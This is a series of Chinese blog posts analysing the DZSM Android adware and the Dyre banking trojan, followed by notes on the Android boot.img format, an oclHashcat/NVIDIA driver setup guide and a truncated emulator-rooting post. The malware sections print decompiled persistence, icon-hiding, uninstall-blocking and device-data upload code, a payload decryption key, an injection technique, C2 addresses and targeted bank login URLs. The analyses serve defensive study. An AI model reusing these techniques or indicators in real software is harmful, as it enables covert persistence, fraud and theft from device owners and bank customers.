DZSM apk 样本分析

概况

  • MD5: 14792786094250715197540fd3b58439
  • SHA256: 456caeaaa8346c7a9e2198af5a0ca49d87e616a2603884580df22728a49893d7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1208868505 (0x480dde99)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool
Validity
Not Before: Sep 9 09:11:13 2015 GMT
Not After : Jan 25 09:11:13 2043 GMT
Subject: C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:93:57:2d:52:af:c1:71:cf:7a:cb:2f:6a:6c:0a:
b2:3f:4b:60:a6:a7:d0:9d:ba:36:a1:0f:0d:cc:9e:
32:ea:23:df:80:a3:b3:9f:2b:93:b9:53:c4:e5:bf:
05:32:21:23:c1:13:78:b0:72:08:19:8e:5e:c0:a0:
13:11:19:d6:23:8a:b6:44:2b:73:e0:1d:f3:b3:f4:
ab:6c:2e:af:78:2f:8b:e2:dc:b0:d6:06:af:8e:3f:
29:54:1a:59:44:55:73:98:2f:fd:8b:18:b0:de:c6:
9c:ee:0c:c7:f7:04:9d:0c:a7:62:06:45:4f:08:20:
2e:ca:a9:20:88:0e:08:2b:f1:9c:a9:24:5d:35:85:
02:bb:c0:ff:37:98:4b:c7:6f:f2:75:81:43:78:f8:
4b:cc:63:8c:f5:0e:c9:95:05:3d:ee:a1:85:cd:94:
97:b8:48:93:02:b3:71:6e:fb:39:6f:63:5d:a7:24:
c1:dc:77:a9:9c:de:5d:76:63:a8:ad:1d:e9:d6:84:
9b:ee:8d:37:38:4b:7c:ff:94:c9:df:dd:17:80:8c:
e8:d1:94:5d:05:dc:ef:d8:dc:90:4c:8b:75:22:6d:
57:6e:ee:4c:5f:62:96:5c:72:64:a4:5b:0f:29:e0:
f3:31:11:99:6a:b4:e5:6c:16:4d:8a:44:46:06:8f:
06:05
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
A6:8F:86:BB:A7:0A:DB:29:2E:E9:26:A6:F1:8C:BF:2F:4B:58:99:39
Signature Algorithm: sha256WithRSAEncryption
82:62:98:a8:39:10:3b:f5:09:42:97:de:e9:4c:57:6c:4e:58:
a3:1a:31:29:a4:79:98:3f:c9:68:3c:e5:90:be:7f:b0:98:2b:
8f:95:9e:4e:d2:bc:82:6e:bf:32:56:35:87:c8:19:08:ae:af:
9c:db:94:71:d4:db:73:d9:25:e2:e5:f1:92:a0:a4:c4:bd:27:
21:b2:c8:ec:e2:2a:c3:bb:a2:85:97:78:2b:4a:94:cc:fc:dc:
75:6a:11:c8:ba:da:30:be:11:e9:e7:4a:5e:e1:ae:af:4d:36:
14:69:31:ab:68:16:69:ed:a8:bb:c7:be:bf:8b:ca:4c:01:d0:
7e:65:45:31:72:0f:7b:8d:7e:76:40:86:45:8d:ee:a3:b2:ee:
ac:d3:0e:60:29:b0:fd:dc:8c:6a:25:06:01:99:81:96:f5:4c:
1d:1a:1d:dc:0e:4b:66:15:80:e8:f5:1c:cd:98:60:71:08:de:
f9:4f:69:b0:22:ec:05:18:6b:cd:5a:05:ce:3a:fe:57:4b:e7:
8b:64:b4:f7:4a:cd:63:c1:03:01:e2:b0:aa:81:2d:89:e1:4d:
da:fb:8f:b9:37:02:ad:85:64:de:87:73:1a:7a:36:50:3f:e6:
9a:73:65:a0:33:af:81:c6:c8:55:89:e6:a8:03:6a:c6:da:f0:
a5:cc:1c:6e

样本通过apktool重打包激情浏览器,引诱下载达到感染的目的。样本安装后启动两个服务常驻手机, 通过广告来获得经济收益,安装应用后访问以下链接:

http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png
http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg
http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png
http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg
http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png
http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg

http://dw.cnscns.com 是一个移动广告平台。

分析

关键的地方是两个service和一个Receiver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<service android:name="net.tend.dot.DZS" />
<service android:exported="true" android:name="net.tend.dot.DZK" android:process=":daemon" />
<activity android:configChanges="keyboard|keyboardHidden|orientation|screenSize" android:excludeFromRecents="true" android:launchMode="singleInstance" android:name="net.tend.dot.DZA" android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<receiver android:name="net.tend.dot.DZR">
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="com.dz.downloadmanager" />
<action android:name="action.dz.start" />
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package" />
</intent-filter>
</receiver>

但是这两个Service和Receiver的代码并不在App代码中,而是在动态加载的dex中,其中的对于关系如下:

net.tend.dot.DZS -> mkit.dz.vol.MFSS
net.tend.dot.DZK -> mkit.dz.vol.MFKS
net.tend.dot.DZR -> mkit.dz.vol.MFBR
net.tent.dot.DZA -> mkit.dz.vol.MFAC

而动态加载的dex 由 assets/dzsm 解密而来。样本的文件转换图如下:

convert

assets/dzsm 使用DES加密,文件的前32个字节为key,后面的为加密的内容,可以使用下面的java代码进行 解密。解密出来的文件为dex文件,可以用jeb正常分析。

encrypt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

public class decrypt {

public static void main(String[] args) {
try {
String key = "8q6e81ssaiem1msqii9ixasmumsxxxqq";

FileInputStream fis2 = new FileInputStream("/tmp/dzsm");
FileOutputStream fos2 = new FileOutputStream("decrypted");
decrypt(key, fis2, fos2);
} catch (Throwable e) {
e.printStackTrace();
}
}

public static void encrypt(String key, InputStream is, OutputStream os) throws Throwable {
encryptOrDecrypt(key, Cipher.ENCRYPT_MODE, is, os);
}

public static void decrypt(String key, InputStream is, OutputStream os) throws Throwable {
encryptOrDecrypt(key, Cipher.DECRYPT_MODE, is, os);
}

public static void encryptOrDecrypt(String key, int mode, InputStream is, OutputStream os) throws Throwable {

DESKeySpec dks = new DESKeySpec(key.getBytes());
SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
SecretKey desKey = skf.generateSecret(dks);
Cipher cipher = Cipher.getInstance("DES");

if (mode == Cipher.ENCRYPT_MODE) {
cipher.init(Cipher.ENCRYPT_MODE, desKey);
CipherInputStream cis = new CipherInputStream(is, cipher);
doCopy(cis, os);
} else if (mode == Cipher.DECRYPT_MODE) {
cipher.init(Cipher.DECRYPT_MODE, desKey);
CipherOutputStream cos = new CipherOutputStream(os, cipher);
doCopy(is, cos);
}
}

public static void doCopy(InputStream is, OutputStream os) throws IOException {
byte[] bytes = new byte[64];
int numBytes;
while ((numBytes = is.read(bytes)) != -1) {
os.write(bytes, 0, numBytes);
}
os.flush();
os.close();
is.close();
}

}

MainActivity是 com.dz.browser.WelActivity

1
2
3
4
5
6
7
8
<activity android:icon="@drawable/icon1"
android:label="@string/main_name"
android:name="com.dz.browser.WelActivity" android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

WelActivity 里干几件事:

  1. 隐藏图标
1
2
3
4
5
6
private void setComponentEnabled(Context context, Class arg6, boolean enabled) {
ComponentName v0 = new ComponentName(context, arg6.getName());
PackageManager v3 = context.getPackageManager();
int v1 = enabled ? 1 : 2;
v3.setComponentEnabledSetting(v0, v1, 1);
}
  1. 动态加载dex
1
2
3
4
5
6
7
8
9
10
private void GoMain() {
new Handler().postDelayed(new Runnable() {
public void run() {
WelActivity.this.setComponentEnabled(WelActivity.this, WelActivity.class, false);
}
}, 5000);
Intent v0 = new Intent();
v0.setClass(((Context)this), GuideActivity.class);
this.startActivity(v0);
}

GuideActivity 的 onCreate 调用 DZM.getInstance(((Context)this)).init(); 加载 dex。 GuideActivity 同时向广告服务器发送本机信息

1
2
3
4
5
6
7
8
9
10
11
new Thread(new Runnable() {
public void run() {
try {
Log.i("ads", "==" + HttpUtils.post(String.valueOf(Constant.reportUrl) + Utils.getQID(
GuideActivity.this), GuideActivity.this.Params.reqparams()));
}
catch(PackageManager$NameNotFoundException v1) {
v1.printStackTrace();
}
}
}).start();

http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1

1
2
3
4
5
6
7
8
POST /api-mobvista/sdkback?appkey=SexTubeMobvista1 HTTP/1.1
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Host: mob.s2s.nooobi.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

country=CN&ip=220.231.27.156&model=sdk&imei=000000000000000

同时加载dex还有另外一个入口,通过 Receiver

1
2
3
4
5
6
7
8
9
10
11
12
13
<receiver android:name="net.tend.dot.DZR">
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="com.dz.downloadmanager" />
<action android:name="action.dz.start" />
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package" />
</intent-filter>
</receiver>

当网络变化,用户锁屏等操作时将自动加载dex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class DZR extends BroadcastReceiver {
public DZR() {
super();
}

private void a(Context context, Intent intent) {
try {
a.a(context, i.class).onReceive(context, intent);
}
catch(Exception v0) {
Log.e("ads", "", ((Throwable)v0));
}
}

public void onReceive(Context context, Intent intent) {
Context context = context.getApplicationContext();
String action = intent.getAction();
System.out.println("SV=" + dzm_version.DZM_1_2_5);
if(action.equals("android.intent.action.USER_PRESENT")) {
DZM.getInstance(context);
}

l.start_thread(context);
if(l.str_dzmb_kiup_act().equals(action)) {
l.loadDex(context, intent);
}
else {
this.a(context, intent);
}
}
}
1
2
3
4
5
6
<receiver android:name="com.dz.browser.MyReceiver">
<meta-data android:name="android.app.device_admin" android:resource="@xml/lockourscreen" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>

lockourscreen.xml 里申请了锁屏权限

1
2
3
4
5
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<force-lock />
</uses-policies>
</device-admin>

但是Receiver里什么也没有干,这只是为了阻止普通用户卸载app。

lock screen

样本会访问下面URL 获得ip地址信息 http://ip.taobao.com/service/getIpInfo2.php?ip=myip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
code: 0,
data: {
country: "中国",
country_id: "CN",
area: "华北",
area_id: "100000",
region: "北京市",
region_id: "110000",
city: "北京市",
city_id: "110100",
county: "",
county_id: "-1",
isp: "华瑞信通",
isp_id: "1000146",
ip: "220.231.27.156"
}
}

从分析看样本主要是获取广告,下载apk,安装apk 这几个功能,还可以使用浏览器打开指定URL

daemon 分析

两个服务中,daemon 是 arm elf 可执行文件,app安装后自动执行。daemon程序由 dz.jar 的 assets/oilive 释放出来。 在手机上得到下面的命令行

1
/data/data/org.dz.passion.browser/app_bin/daemon -p org.dz.passion.browser -s net.tend.dot.DZK -t 120

daemon 使用说明

1
usage: %s -p package-name -s daemon-service-name -t interval-time

daemon 进程的父进程是init,结束应用进程不会结束daemon进程,将应用进程结束后过120秒,daemon将会重新自动启动 服务程序。

1
2
3
u0_a45    999   36    193564 32452 ffffffff 40033a40 S org.dz.passion.browser:daemon
u0_a45 1016 36 192640 35772 ffffffff 40033a40 S org.dz.passion.browser
u0_a45 1028 1 728 296 c0099f1c 40032c88 S /data/data/org.dz.passion.browser/app_bin/daemon

这个搞法似类以前的双进程监控,不容易干掉,上面说过启动App就启动两个服务 DZS 和 DZK,而DZK的代码其实在MFKS中, 从下面的代码可以看到,MFKS在Service 的 OnCreate 是就把daemon 运行起来了,daemon 又会检查app的服务的状态,有会自动 启动服务,比较流氓啊!这么做目的还是为了常驻手机,长期运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class MFKS {
private Service service;

public MFKS() {
super();
}

public IBinder onBind(Intent arg2) {
return null;
}

public void onCreate() {
run_daemon.install(this.service.getApplicationContext(), config.get_kvp_classObject(this.service // net.tend.dot.DZK
.getApplicationContext()), 120);
this.service.startService(new Intent(this.service.getApplicationContext(), config.get_svp_classObject( // net.tend.dot.DZS
this.service.getApplicationContext())));
}

public void onStart(Intent arg1, int arg2) {
}

public void setService(Service arg1) {
this.service = arg1;
}
}

附录

访问的URL

http://ip.taobao.com/service/getIpInfo2.php%3Fip%3Dmyip
http://api.nooobi.com/api-unlock/getlockappconfig
http://api.nooobi.com/api-unlock/insertimei
http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1
http://api.nooobi.com/api-unlock/getapptype
http://api.nooobi.com/api-unlock/kitup
http://alog.umeng.com/app_logs
http://api.nooobi.com/api-unlock/getadlist
http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png
http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg
http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png
http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg
http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png
http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg
http://api.nooobi.com/api-unlock/unlockaction

总结

DZSM 这个样本使用了动态加载dex的技术,使得其检测更加困难。代码结构良好,异常处理充分, 是一个专业程序员的作品。使用了简单的加密技术,也是为了逃避检查。

Dyre 简单分析

0. 概述

1
2
3
sha256   : 523b9e8057ef0905e2c7d51b742d4be9374cf2eee5a810f05d987604847c549d
md5 : c2d73485095efdbd7ab625e469affb11
filename : Invoice_00739287.scr

脱壳后的程序中可以看到 C:\CPP_PROJECTS_GIT\DYRE\x64\Release\dyrecontroller.pdb 因此大多数杀软将样本命名为dyre。Dyre的主要目标为在线银行。样本看上去是一个PDF文件,其实则是使用scr后缀的可执行文件,引诱受害者点击文件。

Dyre的一些其他样本 MD5:

  • 999bc5e16312db6abff5f6c9e54c546f
  • b44634d90a9ff2ed8a9d0304c11bf612
  • dd207384b31d118745ebc83203a4b04a

1. 感染与传播

从网上的公开资料来看,样本主要传播途径为钓鱼邮件。

fishing

2. 工作流程

  • 复制自身 (C:\Documents and Settings\user\Application Data\googleupdaterr.exe)
  • 执行复本文件
  • 删除自身
  • 注入Explorer 进程
  • googleupdaterr.exe 进程退出

由于注入Explorer后,进程退出,在任务管理器中看不到任何可疑进程,代码在Explorer中 执行。Dyre 通过写注册表启动项实现自启动,系统启动后将自动执行恶意文件。

1
2
key   : HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\GoogleUpdate
value : C:\Documents and Settings\sys\Application Data\googleupdaterr.exe

3. 网络协议

由于时间较长了,url链接基本都访问不了了,所以这部分内容就不重点说了。
http://192.99.6.61/cho1017/W512600.19532DF60D132DC4E0153BE41218BD1A/5/publickey/
217.12.207.151:8900 和 192.99.6.61:80 都已失效。

可以参考下面这篇文章的图片

Project Dyre: New RAT Slurps Bank Credentials, Bypasses SSL

VirusTotal 的Passive DNS 可以也可以看到一些内容

virusTotal

从链接提供的内容来看,Dyre使用HTTP协议来进行C&C通讯,C&C服务器的IP在代码中硬编码。

4. 高级技术

4.1 脱壳

这个样本使用了反混淆技术,不仔细看的话就像一个正常的MFC程序,其实运行到一定阶段, 进程空间里所有的代码都被替换。脱壳过程中未发现反调试的现象,OEP应该是4021F0,在OD里设置硬件执行断点,F9就可以dump了,修复IAT后可以正常运行。

4.2 进程注入

我们的目标代码应该是注入到 Explorer 中的代码。其实脱壳后的样本的资源文件里包含了注入到Explorer的代码,分别是PAYLOAD32和PAYLOAD64.

resources

Dyre的进程注入和一般的样本有一定的区别,使用了ZwQueueApcThread来启动,而并没有使ZwSetContextThread。在跨进程写则使用了ZwMapViewOfSection而没有使用大家熟悉的ZwWriteVirtualMemory,隐蔽性较强。

injection

新版的Ollydbg 2.01, 支持调试子进程,在子进程中可以看到以下代码

OD2
OD2.1

可以确认注入的确实是资源文件里的payload

附录A

strings

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cashproonline.bankofamerica.com/AuthenticationFrameworkWeb/cpo/login/public/loginMain.faces
businessaccess.citibank.citigroup.com/cbusol/signon.do
www.bankline.natwest.com/CWSLogon/logon.do?CTAuthMode=RBSG_CORP4P&domain=.bankline.natwest.com&ct-web-server-id=Internet&CT_ORIG_URL=%2Fbankline%2Fnatwest%2Fdefault.jsp&ct_orig_uri=https%3A%2F%2Fwww.bankline.natwest.com%3A443%2Fbankline%2Fnatwest%2Fdefault.jsp
www.bankline.rbs.com/CWSLogon/logon.do?CTAuthMode=RBSG_CORP4P&domain=.bankline.rbs.com&ct-web-server-id=Internet&CT_ORIG_URL=%2Fbankline%2Frbs%2Fdefault.jsp&ct_orig_uri=https%3A%2F%2Fwww.bankline.rbs.com%3A443%2Fbankline%2Frbs%2Fdefault.jsp
www.bankline.ulsterbank.ie/CWSLogon/logon.do?CTAuthMode=RBSG_CORP4P&domain=.bankline.ulsterbank.ie&ct-web-server-id=Internet&CT_ORIG_URL=%2Fbankline%2Fubr%2Fdefault.jsp&ct_orig_uri=https%3A%2F%2Fwww.bankline.ulsterbank.ie%3A443%2Fbankline%2Fubr%2Fdefault.jsp
TRUE
AUTOBACKCONN
%02x
cashproonline.bankofamerica.com/materials
user_id=
company_id=
businessaccess.citibank.citigroup.com/materials
business_code=
business_name=
0x%x
85.25.148.6
c1shproonline.bankofamerica.com
cashproonline.bankofamerica.com/AuthenticationFrameworkWeb/
cashproonline.bankofamerica.com/assets/
b1sinessaccess.citibank.citigroup.com
businessaccess.citibank.citigroup.com/assets/
businessaccess.citibank.citigroup.com/CitiBusinessOnlineFiles/
www.b1nkline.natwest.com
www.bankline.natwest.com/
www.b1nkline.rbs.com
www.bankline.rbs.com/
www.b1nkline.ulsterbank.ie
www.bankline.ulsterbank.ie/

参考资料

https://www.virustotal.com/en/file/dc276b0113694ecc62913311e2580857754aa890173dfaa9d95afad6396bb741/analysis/
https://www.fireeye.com/blog/threat-research/2015/07/dyre_banking_trojan.html
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf
https://portal.sec.ibm.com/mss/html/en_US/support_resources/pdf/Dyre_Wolf_MSS_Threat_Report.pdf
http://www.seculert.com/blog/2015/04/new-dyre-version-evades-sandboxes.html
https://blogs.cisco.com/security/talos/threat-spotlight-dyre

Android boot.img 格式分析

首先需要搞到boot.img,网络上流传的方法是通过/proc/mtd 在获取需要的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
> ./adb shell
> su
> cat /proc/mtd

dev: size erasesize name
mtd0: 00700000 00020000 "boot"
mtd1: 07c20000 00020000 "cache"
mtd2: 00700000 00020000 "recovery"
mtd3: 00140000 00020000 "splash"
mtd4: 00700000 00020000 "FOTA_STO"
mtd5: 09e80000 00020000 "system"
mtd6: 0a4e0000 00020000 "userdata"
mtd7: 00080000 00020000 "misc"
mtd8: 00180000 00020000 "persist"

但是在Nexus4, Android 4.4.4 已经找不到这个文件了

1
2
3
> cat /proc/mtd

cat: /proc/mtd: No such file or directory

但是还是有方法可以获取到需要的信息。

1
2
3
4
5
6
> mount

.....
/dev/block/platform/msm_sdcc.1/by-name/system /system ext4 ro,seclabel,relatime,data=ordered 0 0
/dev/block/platform/msm_sdcc.1/by-name/cache /cache ext4 rw,seclabel,nosuid,nodev,noatime,data=ordered 0 0
.....

可以看到大致上面的输出(上面的输出省略了部分内容),从输出中可以看出 /dev/block/platform/msm_sdcc.1/by-name
是一个比较有意思的路径,有by-name 的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
> ls /dev/block/platform/msm_sdcc.1/by-name/

lrwxrwxrwx root root 2014-06-30 20:50 DDR -> /dev/block/mmcblk0p24
lrwxrwxrwx root root 2014-06-30 20:50 aboot -> /dev/block/mmcblk0p12
lrwxrwxrwx root root 2014-06-30 20:50 abootb -> /dev/block/mmcblk0p15
lrwxrwxrwx root root 2014-06-30 20:50 boot -> /dev/block/mmcblk0p6
lrwxrwxrwx root root 2014-06-30 20:50 cache -> /dev/block/mmcblk0p22
lrwxrwxrwx root root 2014-06-30 20:50 grow -> /dev/block/mmcblk0p25
lrwxrwxrwx root root 2014-06-30 20:50 m9kefs1 -> /dev/block/mmcblk0p8
lrwxrwxrwx root root 2014-06-30 20:50 m9kefs2 -> /dev/block/mmcblk0p9
lrwxrwxrwx root root 2014-06-30 20:50 m9kefs3 -> /dev/block/mmcblk0p10
lrwxrwxrwx root root 2014-06-30 20:50 metadata -> /dev/block/mmcblk0p18
lrwxrwxrwx root root 2014-06-30 20:50 misc -> /dev/block/mmcblk0p19
lrwxrwxrwx root root 2014-06-30 20:50 modem -> /dev/block/mmcblk0p1
lrwxrwxrwx root root 2014-06-30 20:50 persist -> /dev/block/mmcblk0p20
lrwxrwxrwx root root 2014-06-30 20:50 recovery -> /dev/block/mmcblk0p7
lrwxrwxrwx root root 2014-06-30 20:50 rpm -> /dev/block/mmcblk0p11
lrwxrwxrwx root root 2014-06-30 20:50 rpmb -> /dev/block/mmcblk0p16
lrwxrwxrwx root root 2014-06-30 20:50 sbl1 -> /dev/block/mmcblk0p2
lrwxrwxrwx root root 2014-06-30 20:50 sbl2 -> /dev/block/mmcblk0p3
lrwxrwxrwx root root 2014-06-30 20:50 sbl2b -> /dev/block/mmcblk0p13
lrwxrwxrwx root root 2014-06-30 20:50 sbl3 -> /dev/block/mmcblk0p4
lrwxrwxrwx root root 2014-06-30 20:50 sbl3b -> /dev/block/mmcblk0p14
lrwxrwxrwx root root 2014-06-30 20:50 system -> /dev/block/mmcblk0p21
lrwxrwxrwx root root 2014-06-30 20:50 tz -> /dev/block/mmcblk0p5
lrwxrwxrwx root root 2014-06-30 20:50 tzb -> /dev/block/mmcblk0p17
lrwxrwxrwx root root 2014-06-30 20:50 userdata -> /dev/block/mmcblk0p23

哈哈,一清二楚。

1
2
3
4
5
6
7
> dd if=/dev/block/mmcblk0p6 of=/sdcard/boot.img bs=4096
5632+0 records in
5632+0 records out
23068672 bytes transferred in 2.398 secs (9619963 bytes/sec)

>./adb pull /sdcard/boot.img /tmp/boot.img
4270 KB/s (23068672 bytes in 5.275s)

boot.img 主要由两部分组成,kernel 和 ramdisk,下面使用010editor来写一个模版,解析boot.img。从Android的源码可以知道boot.img的结构 app/aboot/bootimg.h

1
2
3
4
5
6
7
8
9
10
11
+-----------------+ 
| boot header | 1 page
+-----------------+
| kernel | n pages
+-----------------+
| ramdisk | m pages
+-----------------+
| second stage | o pages
+-----------------+
| device tree | p pages
+-----------------+
  boot header 的结构定义如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct boot_img_hdr
{
unsigned char magic[BOOT_MAGIC_SIZE];
unsigned kernel_size; /* size in bytes */
unsigned kernel_addr; /* physical load addr */
unsigned ramdisk_size; /* size in bytes */
unsigned ramdisk_addr; /* physical load addr */
unsigned second_size; /* size in bytes */
unsigned second_addr; /* physical load addr */
unsigned tags_addr; /* physical addr for kernel tags */
unsigned page_size; /* flash page size we assume */
unsigned dt_size; /* device_tree in bytes */
unsigned unused; /* future expansion: should be 0 */
unsigned char name[BOOT_NAME_SIZE]; /* asciiz product name */

unsigned char cmdline[BOOT_ARGS_SIZE];
unsigned id[8]; /* timestamp / checksum / sha1 / etc */
};

010editor 模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#define BOOT_MAGIC_SIZE 8
#define BOOT_NAME_SIZE 16
#define BOOT_ARGS_SIZE 512

typedef struct boot_img_hdr
{
char magic[BOOT_MAGIC_SIZE];
uint kernel_size; /* size in bytes */
uint kernel_addr; /* physical load addr */
uint ramdisk_size; /* size in bytes */
uint ramdisk_addr; /* physical load addr */
uint second_size; /* size in bytes */
uint second_addr; /* physical load addr */
uint tags_addr; /* physical addr for kernel tags */
uint page_size; /* flash page size we assume */
uint dt_size; /* device_tree in bytes */
uint unused; /* future expansion: should be 0 */
ubyte name[BOOT_NAME_SIZE]; /* asciiz product name */

ubyte cmdline[BOOT_ARGS_SIZE];
uint id[8]; /* timestamp / checksum / sha1 / etc */
}BOOT_IMG_HDR;

typedef struct boot_hdr {
BOOT_IMG_HDR header;
ubyte unused[header.page_size - sizeof(header)];
}HEADER;

LittleEndian();
HEADER header_section;

local uint page_size = header_section.header.page_size;
local uint kernel_size = header_section.header.kernel_size;
local uint ramdisk_size = header_section.header.ramdisk_size;
local uint second_size = header_section.header.second_size;

Printf("page_size: %x\nkernel_size: %x\nramdisk_size: %x\nsecond_size: %x\n", page_size, kernel_size, ramdisk_size, second_size);

local uint n = (kernel_size + page_size - 1) / page_size;
local uint m = (ramdisk_size + page_size - 1) / page_size;
local uint o = (second_size + page_size - 1) / page_size;

typedef struct kernel {
ubyte kernel_data[kernel_size];
ubyte unused[n * page_size - kernel_size];
}KERNEL;

KERNEL kernel_section;

typedef struct ramdisk {
ubyte ramdisk_data[ramdisk_size];
ubyte unused[m * page_size - ramdisk_size];
}RAMDISK;

RAMDISK ramdisk_section;

typedef struct second {
ubyte second_data[second_size];
ubyte unused[o * page_size - second_size];

}SECOND;

SECOND second_section;

在Ubuntu 14.04 上安装 oclHashcat 的方法 (cuda)

首先需要下载正确的驱动和软件,下载的软件版本一定要正确。下面的两个链接地址是我实验成功的版本。

N卡驱动 :http://us.download.nvidia.com/XFree86/Linux-x86_64/346.47/NVIDIA-Linux-x86_64-346.47.run
oclHashcat: https://hashcat.net/files/cudaHashcat-1.35.7z

关键是需要ForceWare 346.x或者更新的版本,ForceWare驱动是nVIDIA 系列显卡最新官方版本名称, 估计和AMD的催化剂类似。如果安装驱动的版本不对运行oclhashcat的时候会报 ERROR: cuModuleLoad() 209 错误,排查了较长时间发现是驱动版本不对,340.x的驱动无法正常工作,一定需要 346.x 的驱动。

基本要求

http://us.download.nvidia.com/XFree86/Linux-x86_64/346.47/README/index.html

1
2
3
4
5
6
7
8
binutils                  2.9.5
GNU make 3.77
gcc 2.91.66
kernel 2.6.18* and newer
XFree86 4.0.1 and newer
X.Org 1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, 1.10, 1.11, 1.12, 1.13, 1.14, 1.15, 1.16, 1.17
Kernel modutils 2.1.121 and newer
glibc 2.0

一些准备工作

1
2
sudo apt-get install build-essential
sudo apt-get install linux-image-extra-virtual

卸载原有的nvidia的驱动,不然会发生冲突:

1
2
$ sudo apt-get remove nvidia* && sudo apt-get autoremove
$ sudo apt-get --purge remove xserver-xorg-video-nouveau

禁用nouveau (这个是开源的N卡驱动)

1
2
3
4
5
6
7
8
9
10
11
$ sudo vi /etc/modprobe.d/blacklist-nouveau.conf

blacklist nouveau
blacklist lbm-nouveau
options nouveau modeset=0
alias nouveau off
alias lbm-nouveau off

$ echo options nouveau modeset=0 | sudo tee -a /etc/modprobe.d/nouveau-kms.conf
$ sudo update-initramfs -u
$ sudo reboot

停用X,不然安装过程会出错。

1
$ sudo service lightdm stop

安装

1
2
3
$ chmod +x ./NVIDIA-Linux-x86_64-346.47.run
$ sudo ./NVIDIA-Linux-x86_64-346.47.run
$ sudo reboot

参考链接

https://hashcat.net/oclhashcat/
http://www.nvidia.com/object/unix.html
http://ubuntuhandbook.org/index.php/2015/01/install-nvidia-346-35-ubuntu-1404/
http://tleyden.github.io/blog/2014/10/25/cuda-6-dot-5-on-aws-gpu-instance-running-ubuntu-14-dot-04/

root Android emulator

一个的简单的脚本就可以实现自动化root,以下代码在 Android 4.4.2 的 emulator上实验成功。

1
2
3
4
5
6
sudo ./adb start-server
